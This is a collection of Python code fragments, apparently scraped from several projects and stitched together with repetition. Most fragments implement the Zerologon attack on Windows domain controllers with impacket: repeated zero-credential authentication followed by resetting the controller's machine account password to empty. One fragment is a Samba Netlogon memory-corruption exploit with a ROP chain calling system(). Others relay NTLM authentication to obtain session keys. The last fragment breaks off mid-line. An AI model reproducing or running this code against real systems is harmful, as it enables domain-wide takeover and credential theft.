def _set_up_request(request: nrpc.NetrServerPasswordSet2, dc_name: str) -> None: authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator["Credential"] = b"\x00" * 8 authenticator["Timestamp"] = b"\x00" * 4 request["AccountName"] = dc_name + "$\x00" request["ComputerName"] = dc_name + "\x00" request[ "SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request["Authenticator"] = authenticator
def exploit(dc_handle, rpc_con, target_computer): request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = dc_handle + '\x00' request['AccountName'] = target_computer + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator request['ComputerName'] = target_computer + '\x00' request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request)
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) #====This section will change machine password to null, can dump hashes without password ===== #use impacket nrpc.py function. This emulates MS NetrServerPasswordSet2() function newPassRequest = nrpc.NetrServerPasswordSet2() newPassRequest['PrimaryName'] = dc_handle + '\x00' newPassRequest['AccountName'] = target_computer + '$\x00' newPassRequest[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel auth = nrpc.NETLOGON_AUTHENTICATOR() auth['Credential'] = b'\x00' * 8 auth['Timestamp'] = 0 newPassRequest['Authenticator'] = auth newPassRequest['ComputerName'] = target_computer + '\x00' newPassRequest['ClearNewPassword'] = b'\x00' * 516 rpc_con.request(newPassRequest) #=======End section======== # It worked! assert server_auth['ErrorCode'] == 0 return rpc_con except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Creates bind to the DC over RPC. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() # Connects to RPC rpc_con.connect() # Creates bind to RPC rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 # 16 Bytes, or two hextets of Zero ciphertext = b'\x00' * 8 # 16 Bytes, or two hextets of Zero # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Sends Server Challenge Request nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: #Attempts to Authenticate to the target Domain Controller and actually exploit Zero Logon server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) #If login is successful, begin the attempt to change the password #For more info see: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/dcerpc/v5/nrpc.py newPassRequest = nrpc.NetrServerPasswordSet2() newPassRequest['PrimaryName'] = dc_handle + '\x00' newPassRequest['AccountName'] = target_computer + '$\x00' newPassRequest[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel auth = nrpc.NETLOGON_AUTHENTICATOR() auth['Credential'] = b'\x00' * 8 auth['Timestamp'] = 0 newPassRequest['Authenticator'] = auth newPassRequest['ComputerName'] = target_computer + '\x00' newPassRequest['ClearNewPassword'] = b'\x00' * 516 #Triggers password reset rpc_con.request(newPassRequest) return rpc_con except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def __setaccountemptystring(self, rpc_con): request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = self.dc_handle + '\x00' request['AccountName'] = self.hostname + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator request['ComputerName'] = self.hostname + '\x00' request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request)
def getSessionKey(computer, domain, domainIP, hashes, serverName, authMessage) : print ("Connecting to NETLOGON service : Authenticating Server") stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % domainIP rpctransport = transport.DCERPCTransportFactory(stringBinding) ntHash = unhexlify(hashes.split(':')[1]) rpctransport.set_credentials(computer,"",domain,"",ntHash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName +"\x00",'12345678') serverChallenge = resp['ServerChallenge'] sessionKey = nrpc.ComputeSessionKeyStrongKey('','12345678',serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential('12345678',sessionKey) nrpc.hNetrServerAuthenticate3(dce, NULL, computer+"\x00",nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10) #SamLogonWithFlags print "Forwarding NTLM Response to DC" request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = authMessage['domain_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = 'AAAAAAAA' #challenge request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) authenticator['Timestamp'] = 10 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = '\x00'*8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 resp = dce.request(request) encryptedSessionKey = authMessage['session_key'] sessionKey = generateEncryptedSessionKey(resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey) print "Retrieving Session Key from DC" return sessionKey
def try_zerologon(dc_handle, rpc_con, target_computer): """ Authenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5, that contains the encrypted logon credential and a time stamp. typedef struct _NETLOGON_AUTHENTICATOR { NETLOGON_CREDENTIAL Credential; DWORD Timestamp; } Timestamp: An integer value that contains the time of day at which the client constructed this authentication credential, represented as the number of elapsed seconds since 00:00:00 of January 1, 1970. The authenticator is constructed just before making a call to a method that requires its usage. typedef struct _NETLOGON_CREDENTIAL { CHAR data[8]; } ClearNewPassword: A NL_TRUST_PASSWORD structure, as specified in section 2.2.1.3.7, that contains the new password encrypted as specified in Calling NetrServerPasswordSet2 (section 3.4.5.2.5). typedef struct _NL_TRUST_PASSWORD { WCHAR Buffer[256]; ULONG Length; } ReturnAuthenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5, that contains the server return authenticator. More info can be found on the [MS-NRPC]-170915.pdf """ request = nrpc.NetrServerPasswordSet2() request["PrimaryName"] = dc_handle + "\x00" request["AccountName"] = target_computer + "$\x00" request[ "SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator["Credential"] = b"\x00" * 8 authenticator["Timestamp"] = 0 request["Authenticator"] = authenticator request["ComputerName"] = target_computer + "\x00" request["ClearNewPassword"] = b"\x00" * 516 return rpc_con.request(request)
def perform_attack(dc_handle, dc_ip, target_computer): # Keep authenticating until succesfull. Expected average number of attempts needed: 256. print('Performing authentication attempts...') rpc_con = None for attempt in range(0, MAX_ATTEMPTS): rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer) if rpc_con == None: print('=', end='', flush=True) else: break if rpc_con: print('\nSuccess! DC can be fully compromised by a Zerologon attack.') print('Trying to set empty password for DC computer password.') # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81 # use latest impacket: credits goes to @_dirkjan https://github.com/SecureAuthCorp/impacket/pull/951 nrpc_Authenticator = nrpc.NETLOGON_AUTHENTICATOR() nrpc_Authenticator["Credential"] = b'\x00' * 8 # same as ciphertext nrpc_Authenticator["Timestamp"] = 0 nrpc_Password = nrpc.NL_TRUST_PASSWORD() nrpc_Password['Buffer'] = b'\x00' * 516 nrpc_Password['Length'] = '\x00' * 4 request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = target_computer + '\x00' request['AccountName'] = target_computer + '$\x00' request['ComputerName'] = target_computer + '\x00' request['Authenticator'] = nrpc_Authenticator request['ClearNewPassword'] = nrpc_Password request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel req = rpc_con.request(request) print("Success") else: print('\nAttack failed. Target is probably patched.') sys.exit(1)
def getAuthenticator(self, creds=b'\x00' * 8, stamp=10): authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = creds authenticator['Timestamp'] = stamp return authenticator
dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) ### # request for session key ### #resp = nrpc.hNetrServerReqChallenge(dce, NULL, target + '\x00', '12345678') #resp.dump() #serverChallenge = resp['ServerChallenge'] #sessionKey = nrpc.ComputeSessionKeyStrongKey(password, '12345678', serverChallenge, None) sessionKey = '\x00' * 16 ### # prepare ServerPasswordSet request ### authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( '12345678', sessionKey) authenticator['Timestamp'] = 10 uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() uasNewPass['Data'] = '\x00' * 16 primaryName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit primaryName.fields['ReferentID'] = 0x41414141 request = NetrServerPasswordSet() request['PrimaryName'] = primaryName request['AccountName'] = username + 'a\x00' request[
def netlogonSessionKey(self, authenticateMessageBlob): # Here we will use netlogon to get the signing session key logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp) #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(authenticateMessageBlob) _, machineAccount = self.serverConfig.machineAccount.split('/') domainName = authenticateMessage['domain_name'].decode('utf-16le') try: serverName = machineAccount[:len(machineAccount) - 1] except: # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if len(self.serverConfig.machineHashes) > 0: lmhash, nthash = self.serverConfig.machineHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', b'12345678') serverChallenge = resp['ServerChallenge'] if self.serverConfig.machineHashes == '': ntHash = None else: ntHash = bytes.fromhex( self.serverConfig.machineHashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) nrpc.hNetrServerAuthenticate3( dce, NULL, machineAccount + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = 0 request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = self.serverChallenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( clientStoredCredential, sessionKey) authenticator['Timestamp'] = 10 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 # request.dump() try: resp = dce.request(request) # resp.dump() except DCERPCException as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) return e.get_error_code() logging.info( "%s\\%s successfully validated through NETLOGON" % (domainName, authenticateMessage['user_name'].decode('utf-16le'))) encryptedSessionKey = authenticateMessage['session_key'] if encryptedSessionKey != b'': signingKey = generateEncryptedSessionKey( resp['ValidationInformation']['ValidationSam4'] ['UserSessionKey'], encryptedSessionKey) else: signingKey = resp['ValidationInformation']['ValidationSam4'][ 'UserSessionKey'] logging.info("SMB Signing key: %s " % signingKey.hex()) return STATUS_SUCCESS, signingKey
def update_authenticator(cSC, sK, timestamp): authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = timestamp return authenticator
def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 flags = 0x212fffff # Send challenge and authentication request. serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) # It worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() print("server challenge", serverChallenge) sessionKey = nrpc.ComputeSessionKeyAES( None, b'\x00' * 8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) print("session key", sessionKey) try: IV = b'\x00' * 16 #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV) #serverCred = Crypt1.encrypt(serverChallenge) #print("server cred", serverCred) #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #clientCred = clientCrypt.encrypt(b'\x00'*8) #print("client cred", clientCred) #timestamp_var = 10 #clientStoredCred = pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var) #print("client stored cred", clientStoredCred) authenticator = nrpc.NETLOGON_AUTHENTICATOR() #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV) #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred); #print("authenticator cred", authenticatorCred) authenticator['Credential'] = ciphertext #authenticatorCred authenticator['Timestamp'] = b"\x00" * 4 #0 # timestamp_var #request = nrpc.NetrLogonGetCapabilities() #request['ServerName'] = '\x00'*20 #request['ComputerName'] = target_computer + '\x00' #request['Authenticator'] = authenticator #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 #request['ReturnAuthenticator']['Timestamp'] = 0 #request['QueryLevel'] = 1 #resp = rpc_con.request(request) #resp.dump() nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() request['PrimaryName'] = NULL request['AccountName'] = target_computer + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = target_computer + '\x00' request["Authenticator"] = authenticator #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 #request['ReturnAuthenticator']['Timestamp'] = 0 pwdata = impacket.crypto.SamEncryptNTLMHash( unhexlify(originalpw), sessionKey) request["UasNewPassword"] = pwdata resp = rpc_con.request(request) resp.dump() #request['PrimaryName'] = NULL #request['ComputerName'] = target_computer + '\x00' #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00' #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00') #resp = rpc_con.request(request) #resp.dump() except Exception as e: print(e) return rpc_con except nrpc.DCERPCSessionError as ex: #print(ex) # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.')
def try_restore_originalpw(dc_handle, dc_ip, target_computer, originalpw): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) try: # Send challenge clientChallenge = os.urandom(8) serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, dc_handle + '\x00', target_computer + '\x00', clientChallenge) serverChallenge = serverChallengeResp['ServerChallenge'] print("server challenge", serverChallenge) sessionKey = nrpc.ComputeSessionKeyAES( None, clientChallenge, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) print("session key", sessionKey) clientCredential = AES.new(sessionKey, mode=AES.MODE_CFB, IV=b'\x00' * 16, segment_size=8).encrypt(clientChallenge) print("client credential", clientCredential) # Send authentication request flags = 0x212fffff server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', clientCredential, flags) # It worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() clientStoredCred = clientCredential + b'\x00' * 4 # clientCredential + Timestamp authenticatorCrypt = AES.new(sessionKey, mode=AES.MODE_CFB, IV=b'\x00' * 16, segment_size=8).encrypt(clientStoredCred) authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = authenticatorCrypt[:8] authenticator['Timestamp'] = authenticatorCrypt[8:] nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() request['PrimaryName'] = NULL request['AccountName'] = target_computer + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = target_computer + '\x00' request["Authenticator"] = authenticator pwdata = impacket.crypto.SamEncryptNTLMHash(unhexlify(originalpw), sessionKey) request["UasNewPassword"] = pwdata resp = rpc_con.request(request) assert resp['ErrorCode'] == 0 print() resp.dump() print('Success! Password hash restored: {}'.format(originalpw)) except Exception as ex: fail(f'Unexpected error: {ex}.')
def get_authenticator(cred=b'\x00' * 8): authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = cred authenticator['Timestamp'] = 0 return authenticator
def exploit(free_addr, pie=0, destructor=-1, step=0x80): pivot = pie + pivot_o pop4ret = pie + pop4ret_o popebx = pie + popebx_o got = pie + got_o fmt = pie + fmt_o system = pie + system_o snprintf = pie + snprintf_o bss = pie + bss_o if pie != 0: destructor = pivot # struct talloc_chunk { # struct talloc_chunk *next, *prev; # struct talloc_chunk *parent, *child; # struct talloc_reference_handle *refs; // refs = 0 # talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP # const char *name; # size_t size; # unsigned flags; // magic # void *poo # }; talloc_chunk = l32(0) # refs => 0 talloc_chunk += l32(destructor) # destructor => control EIP talloc_chunk += l32(pop4ret) # pop4ret talloc_chunk += 'leet' # talloc_chunk += l32(0xe8150c70) # flags => magic # ebx => got rop = l32(popebx) + l32(got) # write cmd to bss for i in xrange(len(cmd)): c = cmd[i] rop += l32(snprintf) + l32(pop4ret) rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c)) # system(cmd) rop += l32(system) + 'leet' + l32(bss) payload = 'deadbeef' payload += talloc_chunk * 0x1000 * step payload += 'leet' * 2 payload += rop.ljust(2560, 'C') payload += 'cafebabe' + '\0' username = '' password = '' ### # impacket does not implement NetrServerPasswordSet ### # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) class NetrServerPasswordSet(NDRCALL): opnum = 6 structure = ( ('PrimaryName', nrpc.PLOGONSRV_HANDLE), ('AccountName', WSTR), ('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE), ('ComputerName', WSTR), ('Authenticator', nrpc.NETLOGON_AUTHENTICATOR), ('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) class NetrServerPasswordSetResponse(NDRCALL): structure = ( ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), ('ErrorCode', NTSTATUS), ) nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse) ### # connect to target ### rpctransport = transport.DCERPCTransportFactory( r'ncacn_np:%s[\PIPE\netlogon]' % host) rpctransport.set_credentials('', '') # NULL session rpctransport.set_dport(port) # impacket has a problem with SMB2 dialect against samba4 # force to 'NT LM 0.12' only rpctransport.preferred_dialect('NT LM 0.12') dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) sessionKey = '\x00' * 16 ### # prepare ServerPasswordSet request ### authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( '12345678', sessionKey) authenticator['Timestamp'] = 10 uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() uasNewPass['Data'] = payload primaryName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit primaryName.fields['ReferentID'] = free_addr request = NetrServerPasswordSet() request['PrimaryName'] = primaryName request['AccountName'] = username + '\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = host + '\x00' request['Authenticator'] = authenticator request['UasNewPassword'] = uasNewPass DCERPCSessionError = nrpc.DCERPCSessionError try: resp = dce.request(request) print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected") print("seems not vulnerable") # resp.dump() dce.disconnect() return 2 except DCERPCSessionError as e: # expect error_code: 0xc0000225 - STATUS_NOT_FOUND # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND print("seems not vulnerable") # resp.dump() dce.disconnect() return 2 except impacket.nmb.NetBIOSError as e: # print 'exception occured' if e.args[0] == 'Error while reading from remote': # print("connection lost!!!\nmight be vulnerable") return 1 else: raise except AttributeError: # print("exception") return 0
def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw): # 连接到DC的Netlogon服务。 binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 flags = 0x212fffff # 发送challenge和证书请求包。 serverChallengeResp = nrpc.hNetrServerReqChallenge( rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) # worked! assert server_auth['ErrorCode'] == 0 print() server_auth.dump() print("server challenge", serverChallenge) sessionKey = nrpc.ComputeSessionKeyAES( None, b'\x00' * 8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) print("session key", sessionKey) try: IV = b'\x00' * 16 authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = ciphertext #authenticatorCred authenticator['Timestamp'] = b"\x00" * 4 #0 # 时间戳 nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() request['PrimaryName'] = NULL request['AccountName'] = target_computer + '$\x00' request[ 'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['ComputerName'] = target_computer + '\x00' request["Authenticator"] = authenticator pwdata = impacket.crypto.SamEncryptNTLMHash( unhexlify(originalpw), sessionKey) request["UasNewPassword"] = pwdata resp = rpc_con.request(request) resp.dump() except Exception as e: print(e) return rpc_con except nrpc.DCERPCSessionError as ex: # 失败应该是由于状态拒绝访问的错误,攻击可能不会起作用。 if ex.get_error_code() == 0xc0000022: return None else: fail(f'来自DC的意外错误代码: {ex.get_error_code()}.') except BaseException as ex: fail(f'意外错误: {ex}.')
def netlogonSessionKey(self, challenge, authenticateMessageBlob): # Here we will use netlogon to get the signing session key LOG.info("Connecting to %s NETLOGON service" % self.target.netloc) respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(respToken2['ResponseToken']) domainName = authenticateMessage['domain_name'].decode('utf-16le') flags = authenticateMessage['flags'] try: av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') except: LOG.debug("Exception:", exc_info=True) # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) MAX_ATTEMPTS = 6000 for attempt in range(0, MAX_ATTEMPTS): resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', b'\x00' * 8) serverChallenge = resp['ServerChallenge'] ppp = b'\x00' * 8 try: nrpc.hNetrServerAuthenticate3( dce, NULL, serverName + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00', ppp, 0x212effef) except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: continue else: LOG.error('Unexpected error code from DC: %d.', ex.get_error_code()) except BaseException as ex: LOG.error('Unexpected error: %s', str(ex)) LOG.info( 'Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt) break else: LOG.error( 'No success bypassing auth after 6000 attempts. Target likely patched!' ) return clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 